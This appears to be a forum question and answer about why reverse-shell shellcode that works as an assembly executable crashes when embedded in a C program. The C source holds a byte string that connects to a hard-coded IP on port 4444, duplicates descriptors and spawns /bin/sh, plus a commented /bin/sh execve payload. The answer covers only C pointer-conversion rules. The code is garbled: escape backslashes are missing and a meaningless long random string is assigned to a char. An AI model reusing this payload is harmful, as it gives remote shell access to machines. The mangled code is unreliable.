Wsrtjtyk

my payload asm works , but I tried to embed to my own c program it works. conect to my nc port 4444 then brake the conection . I dont why this it happen if I tested this example on my asm executable and it works perfectly , but on my c program not. what can I do ? how can I debug it?

#include <stdio.h>



unsigned char random = "0E249hvzColk1lZ4Vk1eccJM07x2FuitUVsliNPA5FybQn-Ny7DQJ0t-JCvDnm-mZY8YkyOtj6xgN1AUKzcBtr9rRCdGlZCjNnOKGbMzfpQQUampvZsqE0MRDhcvyvpOWzqZG5QJGBuL4-u0MipHq1ioOyNdcWcsRF0zPBd7iI76tTK5CPeDhklfSNQKaw50tsA1lEXDl7mVcvre9b6I-cUR1hYg2oLC6W0zwznvIizbea21OOB9oke5hYdWSSmI181bwvP6IuR20HIu1rGjKgnjHbClcMt9DWBOHBrtxSVUddgparNs5mR3lK3AtY85DN9W2ikX0lOSZbgcB47KC-wSGYRWOuqj1G8ebqUIArlnGk1TBKdwmezfz7RXHsa0EBlFRz60H9lDyQjJb31e78Ff1xXsFEJ5mnkU9rL5NDxPxyOkqxQoO1-6iR62feGLvQdUKfqXF2G0X8NMYqx0UWa78ezsOGsqdnwU5ktwMm2jaPZ5F1G8GKJFYGr7SXz6";



//x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05 64 bits shell





unsigned char shellcode =  "x68xacx14x0ax02x66x68x11x5cx66x6ax02x6ax2ax6ax10x6ax29x6ax01x6ax02x5fx5ex48x31xd2x58x0fx05x48x89xc7x5ax58x48x89xe6x0fx05x48x31xf6xb0x21x0fx05x48xffxc6x48x83xfex02x7exf3x48x31xc0x48xbfx2fx2fx62x69x2fx73x68x48x31xf6x56x57x48x89xe7x48x31xd2xb0x3bx0fx05";



int main(void){

    ((void (*)())shellcode)();

}







./custom

Segmentation fault (core dumped)

You are trying to convert an object pointer shellcode to a function pointer in the following statement:

((void (*)())shellcode)();

This can lead to undefined behaviour.

C99 standard states this on the section on function pointers:

Even with an explicit cast, it is invalid to convert a function pointer to an object pointer or a pointer to void, or vice versa.

You can see this when you compile your code with -pedantic-errors option in GCC which gives the following error.

<source>: In function 'main':

<source>:11:6: error: ISO C forbids conversion of object pointer to function pointer type [-Wpedantic]

See live demo here.